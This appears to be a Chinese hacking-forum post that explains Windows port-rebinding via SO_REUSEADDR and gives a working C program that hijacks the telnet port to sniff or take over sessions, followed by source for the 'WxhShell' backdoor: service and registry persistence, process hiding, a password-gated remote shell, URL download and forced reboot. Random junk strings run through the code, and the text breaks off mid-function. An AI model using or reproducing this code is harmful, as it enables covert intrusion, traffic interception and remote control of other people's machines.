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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2VrF~+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V[(zRGa{  
38 tRb"3zP  
  saddr.sin_family = AF_INET; dTB^6 >H  
W+cmn)8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h&{9 &D1t  
,*+F*:o(m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [as\>@o  
]KA|};>ow  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^$FHI_  
AcwLs%'sx  
  这意味着什么?意味着可以进行如下的攻击: f2`[skNj  
dli?/U@hO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ww{bh -nyq  
,?3r-bM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &j<B22t!  
[GyW1-p33w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YiTiJ9jf  
;*BG{rkr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,gVA^]eDh  
rFh!&_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rUc2'Ct  
"iMuA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pV9$Vg?-H  
'P0:1">  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bg'Qq|<U  
jL8.*pfv  
  #include az*c0Z<pl  
  #include D{x'k2=  
  #include %c<e`P;  
  #include    h8&VaJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \uQ yp*P1s  
  int main() xA& tVQ2!  
  { 9{RCh 9  
  WORD wVersionRequested; _ho9}7 >  
  DWORD ret; :XC~G&HuF6  
  WSADATA wsaData; Cvry8B  
  BOOL val; UMILAoR  
  SOCKADDR_IN saddr; bBk_2lg=4)  
  SOCKADDR_IN scaddr; 4@AY~"dq  
  int err; tg_xk+x  
  SOCKET s; ]0p] u d&  
  SOCKET sc; f~%|Iu1ob  
  int caddsize; }F!tM"X\  
  HANDLE mt; *|{1`{8n  
  DWORD tid;   h6Ovl  
  wVersionRequested = MAKEWORD( 2, 2 ); o,>9|EMQZ  
  err = WSAStartup( wVersionRequested, &wsaData ); vMu6u .e  
  if ( err != 0 ) { >x9@ if  
  printf("error!WSAStartup failed!\n"); lD)ZMaaS3  
  return -1; `d2 r5*<  
  } D_]4]&QYT  
  saddr.sin_family = AF_INET; -N $4\yp  
   :[xFp}w{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uH="l.u  
F$.h+v   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Rsd~t_a1  
  saddr.sin_port = htons(23); |(u6xPs;P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <|8N\FU{  
  { 1Bp?HyCR  
  printf("error!socket failed!\n"); td JA?  
  return -1; `k2YH?  
  } f8E,.$>  
  val = TRUE; iY?J3nxD-:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f@yInIzRJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WVyk?SBw  
  { VUnO&zV{  
  printf("error!setsockopt failed!\n"); _^w&k{T  
  return -1; {P')$f)  
  } G%ytp=N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~8:q-m_h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dD YD6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y\75cfD  
TS4Yzq,f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lt08 E2p9  
  { ^%ZbjJ7|j  
  ret=GetLastError(); IJ\4S  
  printf("error!bind failed!\n"); ^x2zMB\t  
  return -1; NH9"89]E  
  } 3MX&%_wUhB  
  listen(s,2); OD[q u  
  while(1) 9UDanj P  
  { jKr\mb  
  caddsize = sizeof(scaddr); |ht:_l 8  
  //接受连接请求 {$qE>ic  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M/?eDW/  
  if(sc!=INVALID_SOCKET) &~=FX e0S  
  { _cvA1Q"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =$mPReA3v  
  if(mt==NULL) rj}O2~W~4  
  { sg`   
  printf("Thread Creat Failed!\n"); (yrN-M4~t  
  break; :3b.`s(M  
  } boS=  
  } A |u-VXQ  
  CloseHandle(mt); H46N!{<;@  
  } 6 &Lr/J76  
  closesocket(s); Ef @  
  WSACleanup(); r)S:-wP  
  return 0; 0:I[;Q t  
  }   sGFvSW  
  DWORD WINAPI ClientThread(LPVOID lpParam) %>'Zy6C<j  
  { _=Z?5{7S >  
  SOCKET ss = (SOCKET)lpParam; `6y=ky.,  
  SOCKET sc; [[$dPa9  
  unsigned char buf[4096]; =xw+cs1,x  
  SOCKADDR_IN saddr; @*Tql:Qcd^  
  long num; >piVi[`  
  DWORD val; -\<\OV:c*  
  DWORD ret; CS'LW;#[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U7#C.Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Gr-~&pm  
  saddr.sin_family = AF_INET; }#r awVe=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {x{~%)-  
  saddr.sin_port = htons(23); 7F2 WmMS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XEegUTs  
  { ~+ kfb^<-  
  printf("error!socket failed!\n"); 3iM7c.f*/  
  return -1; Vx z`  
  } hT`fAn_  
  val = 100; tm&,u*6$W?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J6 J">  
  { `^ZhxFX  
  ret = GetLastError(); EDT9O  
  return -1; /q,vQ[ R/  
  } D%}rQ,*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t!-\:8n  
  { {o SdVRI  
  ret = GetLastError(); 6l'J!4*qY  
  return -1; U ,NGV0  
  } YdDP;, DA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  VBUrtx:  
  { GQ(*k)'a  
  printf("error!socket connect failed!\n"); \sz*M B  
  closesocket(sc); &V| kv"Wwj  
  closesocket(ss); .Hnhd/ c  
  return -1; d.|*sZ&3p  
  } dbJ3E)rF  
  while(1) Q.?(h! )9  
  { "1$X5?%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0qINa:Ori  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EXMW,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !9.k%B:  
  num = recv(ss,buf,4096,0); QJ&]4*>a  
  if(num>0) STl8h}C  
  send(sc,buf,num,0); -Ew>3Q  
  else if(num==0) E.%V 0}  
  break; b(oe^jeGz  
  num = recv(sc,buf,4096,0); N5c*#lHI  
  if(num>0) jG~-V<&  
  send(ss,buf,num,0); :i4AkBNK  
  else if(num==0) 0K'{w]Q  
  break; 5vFM0  
  }  zo1T`"Y  
  closesocket(ss); inY_cn?  
  closesocket(sc); 0W0GSDx  
  return 0 ; D6~KLSKm  
  } Wv|CJN;4  
LC4VlfU  
r?itd)WC<X  
========================================================== o}DR p4;Ka  
_dELVs7OL  
下边附上一个代码,,WXhSHELL xax[# Vl4  
3-btaG'P  
========================================================== +`bnQn]x+  
 v%$l(  
#include "stdafx.h" ht*N[Pi4;  
,m[XeI  
#include <stdio.h> &?@[bD'T  
#include <string.h> #|K{txC   
#include <windows.h> tm/=Oc1p  
#include <winsock2.h> ,4S[<(T"  
#include <winsvc.h> 4[i 3ckFT,  
#include <urlmon.h> ^vxx]Hji  
,,H;2xYf  
#pragma comment (lib, "Ws2_32.lib") F!3p )?  
#pragma comment (lib, "urlmon.lib") :pM)I5MN[  
WH4rZ }Z`  
#define MAX_USER   100 // 最大客户端连接数 @ <3E `j'p  
#define BUF_SOCK   200 // sock buffer DXG`%<ZMn  
#define KEY_BUFF   255 // 输入 buffer X~UL$S;  
pV(k6h  
#define REBOOT     0   // 重启 Z^]jy>dj  
#define SHUTDOWN   1   // 关机 'z^'+}iyv  
xT+#K5  
#define DEF_PORT   5000 // 监听端口 &c 2Qa  
J6[}o4Z  
#define REG_LEN     16   // 注册表键长度 9% C]s  
#define SVC_LEN     80   // NT服务名长度 T ay226  
Auc&dpW  
// 从dll定义API ? V1ik[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); De>e`./56  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r!1f>F*dt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CuK>1_Dq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T_!F I29  
cHt4L]n8n  
// wxhshell配置信息 kQe<a1 8  
struct WSCFG { %3*|Su%uC  
  int ws_port;         // 监听端口 \?oT.z5VG&  
  char ws_passstr[REG_LEN]; // 口令 z Ohv>a  
  int ws_autoins;       // 安装标记, 1=yes 0=no  71@kIJI  
  char ws_regname[REG_LEN]; // 注册表键名 CcW3o"=4  
  char ws_svcname[REG_LEN]; // 服务名 A +=#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VH4wsEH]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i3mw.`7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _YG@P1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Nqx=ms[(!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |{(JUXo6K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GZWqP M4S\  
1TX3/]:  
}; t{ yj`Vg  
0ETT@/)]z  
// default Wxhshell configuration '.<iV!ZdZ  
struct WSCFG wscfg={DEF_PORT, x]yIe&*('  
    "xuhuanlingzhe", *#E_KW1RV  
    1,  [Rub  
    "Wxhshell", 4i.&geX A.  
    "Wxhshell", @54$IhhT~  
            "WxhShell Service", x&^Xgi?  
    "Wrsky Windows CmdShell Service", za}Kd^KeB  
    "Please Input Your Password: ", V )Oot|  
  1, V dvj*I  
  "http://www.wrsky.com/wxhshell.exe", x${C[gxq9F  
  "Wxhshell.exe" L-)ZjXzk  
    }; jygUf|  
EZ{{p+e ^  
// 消息定义模块 5Pq6X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9od c :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N<@K(? '  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `q\F C[W  
char *msg_ws_ext="\n\rExit."; /k ?l%AH  
char *msg_ws_end="\n\rQuit.";  H{yBD xw  
char *msg_ws_boot="\n\rReboot..."; "!(@MfjT  
char *msg_ws_poff="\n\rShutdown..."; lz6CK  
char *msg_ws_down="\n\rSave to "; n|?sNM<J3  
zRmVV}b  
char *msg_ws_err="\n\rErr!"; H;NAS/OhS  
char *msg_ws_ok="\n\rOK!"; ?]bx]Y;  
ZbVn"he  
char ExeFile[MAX_PATH]; )X," NJG  
int nUser = 0; "=K3sk  
HANDLE handles[MAX_USER]; V~#5^PF{  
int OsIsNt; I$S*elveG  
jl}!UG  
SERVICE_STATUS       serviceStatus; Xs|d#WbX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *;McX  
9{U@s  
// 函数声明 *g %bdO  
int Install(void);  6W  
int Uninstall(void); 6T+ym9  
int DownloadFile(char *sURL, SOCKET wsh); ^`M%g2x  
int Boot(int flag); GIkeZV{4}  
void HideProc(void); $<XQv$YS  
int GetOsVer(void); ?./fVoA]V  
int Wxhshell(SOCKET wsl); O"|d~VQ  
void TalkWithClient(void *cs); -hfkF+=U'  
int CmdShell(SOCKET sock); U[Sh){4j  
int StartFromService(void); %-fS:~$  
int StartWxhshell(LPSTR lpCmdLine); RTvOaZ  
-K$ugDi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BMQ4i&kF|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UroC8Tm  
tS\Db'C7  
// 数据结构和表定义 qhG2j;  
SERVICE_TABLE_ENTRY DispatchTable[] = _a9oHg  
{ pzjNi=vhd  
{wscfg.ws_svcname, NTServiceMain}, jj;TS%  
{NULL, NULL} As5l36  
}; 0FH.=   
%Jd!x{a`>A  
// 自我安装 gBWr)R  
int Install(void) ollVg/z  
{ ar 7.O;e  
  char svExeFile[MAX_PATH]; 6{udNv X  
  HKEY key; hT_Q_1,  
  strcpy(svExeFile,ExeFile); e2G;_:  
-Vb5d!(  
// 如果是win9x系统,修改注册表设为自启动 @*L-lx  
if(!OsIsNt) { T*Ge67  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R=48:XG3/K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wpC .!T  
  RegCloseKey(key); ?G7*^y&Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SYQP7oG9oQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]oz>/\!  
  RegCloseKey(key); fuCt9Kjo<  
  return 0; (nBh6u*  
    } #PPHxh*S  
  } ZQir?1=  
} yP} |8x  
else { "Dq^r9  
%qE"A6j  
// 如果是NT以上系统,安装为系统服务 &Qj1uf92.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LH @B\ mS  
if (schSCManager!=0) ob9od5Rf  
{ 5A 5t  
  SC_HANDLE schService = CreateService Q3$DX, 8?  
  ( 8KkN "4'  
  schSCManager, z?VjlA(X  
  wscfg.ws_svcname, 8'qlg|{!~  
  wscfg.ws_svcdisp, {(asy}a9K  
  SERVICE_ALL_ACCESS, <"3${'$k`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UA]T7r@  
  SERVICE_AUTO_START, y0?HZ Xq  
  SERVICE_ERROR_NORMAL, ^5?|Dj  
  svExeFile, #)48dW!n  
  NULL, agruS'c g  
  NULL, zLg$|@E&  
  NULL, L\bc R  
  NULL, 3,*A VcQA  
  NULL GNB'.tJ:0Y  
  ); FzCXA=m  
  if (schService!=0) 2>9..c  
  { @8aV*zjB  
  CloseServiceHandle(schService); I 0x;rP  
  CloseServiceHandle(schSCManager); X_bB6A6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U,fPG/9  
  strcat(svExeFile,wscfg.ws_svcname); q@VIFmqY!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dN:^RCFzS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i&%dwqp  
  RegCloseKey(key); >XRf= :3  
  return 0; n+<  
    } ,VUOsNN4\  
  } %Q.M& U  
  CloseServiceHandle(schSCManager); 0Ny +NE:6M  
} )#hR}|  
} {,T=Siy  
k.)YFKi  
return 1; 'dzbeTJ D5  
} \'('HFr,  
~d,$ nZ"z  
// 自我卸载 `qCL&(`%  
int Uninstall(void) .A6pPRy e  
{ 9asA-'fZ  
  HKEY key; H0t#J  
-=UvOzw  
if(!OsIsNt) { K9VP@[zbJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UMFM.GI  
  RegDeleteValue(key,wscfg.ws_regname); a~JZc<ze  
  RegCloseKey(key); v/$<#2|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { At[SkG}b  
  RegDeleteValue(key,wscfg.ws_regname); 9oP  
  RegCloseKey(key); a%6=sqxE  
  return 0; X2,v'`U5&  
  } Y-+Kf5_[  
} VJCj=jX  
} 8 K)GH:a  
else { i\.(6hf+  
8-kR {9r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BV/ ^S.~  
if (schSCManager!=0) as y:[r"  
{ }"%mP 4]&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); < %<nh`D  
  if (schService!=0) ~% `hh9]  
  { 9ku|w#%I  
  if(DeleteService(schService)!=0) { vtK.7AF  
  CloseServiceHandle(schService); V;)+v#4{  
  CloseServiceHandle(schSCManager); L7xiq{t`Y  
  return 0; 9j-;-`$S  
  } M9~'dS'XI  
  CloseServiceHandle(schService); f= }!c*l"  
  } **1=|aa:  
  CloseServiceHandle(schSCManager); A5%Now;.cf  
} 6-5{7E}/b  
} 'r-B%D=  
43,*.1;sz  
return 1; el<[Ng[  
} +J A\by  
=W"T=p*j  
// 从指定url下载文件 !kh:zTP  
int DownloadFile(char *sURL, SOCKET wsh) <9$Pl%:  
{ + I*a=qjq  
  HRESULT hr; Gtvbm  
char seps[]= "/";  : ?Z9  
char *token; }~0}B[Rf  
char *file; Y$|KY/)H)  
char myURL[MAX_PATH]; j~9Y0jz_  
char myFILE[MAX_PATH]; }y(cv}8Y  
KxFA@3  
strcpy(myURL,sURL); p-!/p#  
  token=strtok(myURL,seps); h*Mi/\  
  while(token!=NULL) Gu2=+?i?h  
  { =4!m] *y  
    file=token; )! k l:  
  token=strtok(NULL,seps); \,!Qo*vj  
  } l Yj$ 3  
CSNz8 y  
GetCurrentDirectory(MAX_PATH,myFILE); (&_~eYZU  
strcat(myFILE, "\\"); HA&hu /mw_  
strcat(myFILE, file); ,,S 2>X*L  
  send(wsh,myFILE,strlen(myFILE),0); 5pff}Ru`  
send(wsh,"...",3,0); F"23v G>3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "412w^5[T  
  if(hr==S_OK) Cw5 B p9  
return 0; $g,v]MW  
else br?pfs$U  
return 1; 6mxzE3?G  
/(%!txSNEt  
} :j32 :/u  
|2jA4C2L}  
// 系统电源模块 xd4~[n\hm  
int Boot(int flag) ~svea>Fmr  
{ Zb<D%9  
  HANDLE hToken; ;2gO(  
  TOKEN_PRIVILEGES tkp; PM)nw;nS  
I 6L3M\+-  
  if(OsIsNt) { dvAz}3p0]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); py%:,hi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .k,,PuP  
    tkp.PrivilegeCount = 1; !R[~Z7b6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]r\!Z <<(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VMu?mqEa  
if(flag==REBOOT) { *}>)E]O@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R)=){SI:1)  
  return 0; Ia[<;":U  
} py wc~dWvz  
else { 7gRR/&ZK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6|4ID"  
  return 0; l4& l)4Rx  
} ]i>,oxBWe  
  } nJwP|P_  
  else { }V 4u`=  
if(flag==REBOOT) { 0W)|n9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d@ ] N  
  return 0; BxaGBK<k  
} xO4""/ n  
else { `yC[Fn"E^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VU+=b+B~m  
  return 0; PE?ICou  
} UMK9[Iy$<M  
} m!3D5z]n9  
h%sw^;\!  
return 1; FRsp?i K)  
} fk\]wFj  
eZ 7Atuv  
// win9x进程隐藏模块 v]T?xo~@'  
void HideProc(void) <s$Jj><  
{ :G &:v  
6;(b-Dhi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &%u m#XE  
  if ( hKernel != NULL ) n"@){:{4?  
  { 4P#4R B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #L&/o9|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uz%ynH  
    FreeLibrary(hKernel); |+qsO ;  
  } (U\D7ItMG  
d?V/V'T[  
return; Emw]`  
} E H|L1g  
U U#tm  
// 获取操作系统版本 d ]jF0Wx*  
int GetOsVer(void) ?A-f_0<0  
{ B;2#Sa.  
  OSVERSIONINFO winfo; w}e_ 17A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1-Dw-./N  
  GetVersionEx(&winfo); ;J:*r0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \C{Zqo,  
  return 1; *w}r:04F  
  else +{#Z^y6&  
  return 0; _nSEp >]L  
} Iz>\qC}  
9Q\RCl_1  
// 客户端句柄模块 4M+f#b1  
int Wxhshell(SOCKET wsl) RLcC>Z  
{ b;NVvc(  
  SOCKET wsh; nswhYSX  
  struct sockaddr_in client; 3sDyB-\&  
  DWORD myID; md|I?vk  
!sYZ1;WAO  
  while(nUser<MAX_USER) y. (m#&T  
{ 'ITZz n*  
  int nSize=sizeof(client); (!Xb8rV0_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); - b`  
  if(wsh==INVALID_SOCKET) return 1; rje;Bf  
$4og{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ft0tRv(s:  
if(handles[nUser]==0) yh).1Q-D  
  closesocket(wsh); /+WC6&  
else @g*[}`8]y  
  nUser++; `, 4YPjk^  
  } w{]B)>! 1W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2#cw_Ua  
;";>7k/}  
  return 0; vG=Pi'4XXo  
} i~*6JB|  
"#iO{uMWb  
// 关闭 socket 17w{hK4o8O  
void CloseIt(SOCKET wsh) h]IoH0/  
{ 9Vt6);cA-]  
closesocket(wsh); m~&>+q ^7  
nUser--; m}2hIhD9  
ExitThread(0); Y^|15ek  
} A{\DzUV9,  
$"#M:V @  
// 客户端请求句柄 #G\-ftA&  
void TalkWithClient(void *cs) !#E-p?O.  
{ PTTUI  
K)h<#F  
  SOCKET wsh=(SOCKET)cs; /gn\7&=P  
  char pwd[SVC_LEN]; 8 -w|~y';  
  char cmd[KEY_BUFF]; +?5Vuc%  
char chr[1]; QX_![|=  
int i,j; !A14\  
e$mVA}>Ybp  
  while (nUser < MAX_USER) { j-qg{oIJ  
)5Cqyp~P  
if(wscfg.ws_passstr) { O.aAa5^uh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `[ZA#8Ma  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b0tbS[j  
  //ZeroMemory(pwd,KEY_BUFF); F(,SnSam  
      i=0; NVDIuh  
  while(i<SVC_LEN) { m5hu;>gt  
7'`nTF-@v  
  // 设置超时 YG>Eop  
  fd_set FdRead; % 5BSXAc  
  struct timeval TimeOut; 6S(`Bw8h  
  FD_ZERO(&FdRead); hG}/o&}U  
  FD_SET(wsh,&FdRead); Z(J 1A x  
  TimeOut.tv_sec=8; cc"<H}g>`  
  TimeOut.tv_usec=0; b}N \h<\G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J.0&gP V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &3*r-9BZ  
-{yG+1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u R!'v  
  pwd=chr[0]; LI"N^K'z  
  if(chr[0]==0xd || chr[0]==0xa) { S:c lyx  
  pwd=0; va.Ve# N  
  break; `EiL~*  
  } g~OG~g@  
  i++; <F| S<\Y.  
    } ikPr>  
Zj nWbnW  
  // 如果是非法用户,关闭 socket Q|g>ga-a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Q)S-4iR  
} a$LoQ<f_  
/EvT%h?p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u5,vchZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ASNo6dP 7  
Lf8{']3  
while(1) { [bN_0T.YI  
BkDq9>  
  ZeroMemory(cmd,KEY_BUFF); TI7)yxa=`  
"(:8 $Fb  
      // 自动支持客户端 telnet标准   ck8Qs08  
  j=0; NV`7VYU  
  while(j<KEY_BUFF) { sWgzHj(c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5WtI.7r  
  cmd[j]=chr[0]; *(VwD)*  
  if(chr[0]==0xa || chr[0]==0xd) { QO|jdlg  
  cmd[j]=0; "+BuFhSLf  
  break; z'EphL7r   
  } ab<7jfFIa  
  j++; =&vRT;6  
    } 'W[Nr  
* @&V=l  
  // 下载文件 .r-kH&)"GU  
  if(strstr(cmd,"http://")) { T{ /\q 5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PMiG:bM  
  if(DownloadFile(cmd,wsh)) o(xt%'L`t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SS-7y:6y>  
  else @ds.)sKA>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0U:9&j P,  
  } vLM-v  
  else { |C\XU5}  
?w@KF%D  
    switch(cmd[0]) { T'VKZ5W  
  cX48?srG  
  // 帮助 "J3n_3+  
  case '?': { _ud !:q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +RD{<~i  
    break; IQ9Rvnna  
  } 0I>[rxal  
  // 安装 OlYCw.Zu  
  case 'i': { 6X GqZ!2  
    if(Install()) EA!I& mBq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^uYr^( |[  
    else mRY~)< !4&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @*~cmf&FIQ  
    break; Jgf= yri  
    } _l](dqyuN(  
  // 卸载 >J@hqW  
  case 'r': { BO-=X 78f@  
    if(Uninstall()) 1V2"sE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@<EVw  
    else &V7{J9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {@`Z`h" N  
    break; lnRbvulH  
    } wLH[rwPr  
  // 显示 wxhshell 所在路径 E.OL_\  
  case 'p': { YW)& IA2  
    char svExeFile[MAX_PATH]; Ptv=Bwg  
    strcpy(svExeFile,"\n\r"); {t<U:*n2  
      strcat(svExeFile,ExeFile); }\)O1  
        send(wsh,svExeFile,strlen(svExeFile),0); Q:!.YSB  
    break; M\ {W&o1!  
    } NhA_dskvo  
  // 重启 [#6Eax,j  
  case 'b': { Z,m;eCLG]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I^fKZ^]8P  
    if(Boot(REBOOT)) Q[N6#C:(4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dD0:K3@  
    else { w6[uM%fHG  
    closesocket(wsh); QC*> qo  
    ExitThread(0); Wo+'j $k  
    } :If1zB)  
    break; geRD2`3;  
    } VXtW{*{"  
  // 关机 hZ@Wl6FG;  
  case 'd': { rwUKg[ 1N  
